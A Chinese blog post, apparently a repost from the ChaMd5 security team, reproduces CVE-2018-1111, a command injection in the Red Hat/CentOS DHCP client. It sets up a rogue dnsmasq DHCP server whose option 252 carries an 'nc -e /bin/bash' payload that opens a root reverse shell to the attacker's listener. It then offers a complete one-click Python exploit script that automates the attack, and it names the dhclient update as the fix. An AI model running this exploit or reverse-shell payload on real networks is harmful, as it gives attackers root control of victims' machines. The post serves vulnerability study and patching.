CVE-2018-1111复现

近日,红帽官方发布了安全更新,修复了编号为CVE-2018-1111的远程代码执行漏洞,攻击者可以通过伪造DHCP服务器发送响应包,攻击红帽系统,获取root权限并执行任意命令。

复现

环境

kali x64 centos 7 vmware14

设置网络

断开kali和centos的网络 将kali和centos都设置成主机模式,并且关闭主机的dhcp功能

对kali做配置

先对自己ip进行配置,添加路由

ifconfig eth0 192.168.131.52 netmask 255.255.255.0route add default gw 192.168.131.52

利用nc监听1314端口(毕竟520,端口都得选个好的)

nc -l -p 1314 -v

创建一个文件dnsmasq.conf,内容如下

bind-interfacesinterface=eth0except-interface=lodhcp-range=192.168.131.10,192.168.131.30,22hdhcp-option=3,192.168.131.52dhcp-option=6,192.168.131.52log-querieslog-facility=/var/log/dnsmasq.log

利用dnsmasq伪造dns服务器

dnsmasq -dC dnsmasq.conf --dhcp-option="252,'&nc -e /bin/bash 192.168.131.52 1314 #"

攻击

centos连接网络,发现是由kali分配的ip地址

此时在kali的nc可以拿到centos的shell,且为root权限

原理

360的大佬已经在安全客发了文(https://www.anquanke.com/post/id/145201),

我就不再画蛇添足了,单引号在脚本逃逸了,直接以root权限执行了脚本。

–dhcp-option=”252,x’&nc -e /bin/bash 10.1.1.1 1337 #”

范围

本地测试fedora28、centos7通过,而centos6,redhat5未通过(~蜜汁原因~)

修复方法

简单到不能再简单:

yum update dhclient

搞定!

福利

作为ChaMd5里最懒的逍遥自在,肯定是一键exp啦~ 代码就在下面,虽然只有一丢丢,不过总好过手输那么多命令啦!

#/usr/bin/python#encoding = utf-8from pwn import *import osimport sysimport time# author : xyzz@chamd5.org# time : 20180520ip='192.168.131.52'port=1314# context.log_level='debug'def pwn(ip,port): f=open('dnsmasq.conf','w') start = ip[:ip.rfind('.')]+'.10' end = ip[:ip.rfind('.')]+'.30' dnsmasq = '''bind-interfacesinterface=eth0except-interface=lodhcp-range={start},{end},22hdhcp-option=3,{ip}dhcp-option=6,{ip}log-querieslog-facility=/var/log/dnsmasq.log'''.format(ip=ip,start=start,end=end) f.write(dnsmasq) f.close() cm=[] cm.append('ifconfig eth0 {ip} netmask 255.255.255.0 '.format(ip=ip)) cm.append('route add default gw {ip}'.format(ip=ip)) cm.append('''dnsmasq -dC dnsmasq.conf --dhcp-option="252,'&nc -e /bin/bash {ip} {port} #"'''.format(ip=ip,port=port)) q=process('bash') for i in range(len(cm)-1):  q.sendline(cm[i])  time.sleep(1) # time.sleep(100) p=process('bash') p.sendline('nc -l -p {port} -v'.format(port=port)) q.sendline(cm[-1]) time.sleep(3) p.interactive() # q.interactive()if __name__ == '__main__': pwn(ip,port)

最后的最后,祝大家520快乐~~~

本文分享自微信公众号 - ChaMd5安全团队(chamd5sec),作者:逍遥自在

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2018-05-20

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 小白也能玩转无线安全(一)——硬件&工具入门篇

    小白也能玩转无线安全(一)——硬件&工具入门篇 From ChaMd5安全团队核心成员 sherlly 0x00 写在前面 很久之前就想出一套无线安全系列的文章...

    ChaMd5安全团队
  • github & CSRF

    github泄露到水坑攻击并利用CSRF Getshell组合入企业内网的案例 From ChaMd5安全团队核心成员 blueice 1. 突破点之G...

    ChaMd5安全团队
  • DDCTF WriteUp (MISC+Web)

    看公告: DDCTF{return DDCTF::get(2019)->flagOf(0);}

    ChaMd5安全团队
  • springcloud获取nginx反向代理后浏览器的真实ip

    似水的流年
  • 做一个简单的IP代理池

    在文件中导入或者继承ip_proxies.py中的AgentIpPool模块,有以下几个方法:

    用户1682544
  • 调用python-nmap实现扫描局域网

    使用环境:Raspberry 3b+ +netifaces+python-nmap+nmap

    py3study
  • python实现主机批量管理

        在日常的运维工作中批量对主机的是很常见的,市面上也有许多主机批量管理的软件,但有时候这些软件并不能完全的满足我们的需求。python中刚好提供了关于主机...

    py3study
  • 关于伪造ip的可行性

    今晚,用curl进一个网站发现ip被限制访问了,然后我又开始了百度伪造请求ip的方法

    仙士可
  • python 爬虫之搭建代理ip池–测试代理ip可用性

    kirin
  • 【Go】获取用户真实的ip地址

    用户请求到达提供服务的服务器中间有很多的环节,导致服务获取用户真实的 ip 非常困难,大多数的框架及工具库都会封装各种获取用户真实 ip 的方法,在 exne...

    thinkeridea

扫码关注云+社区

领取腾讯云代金券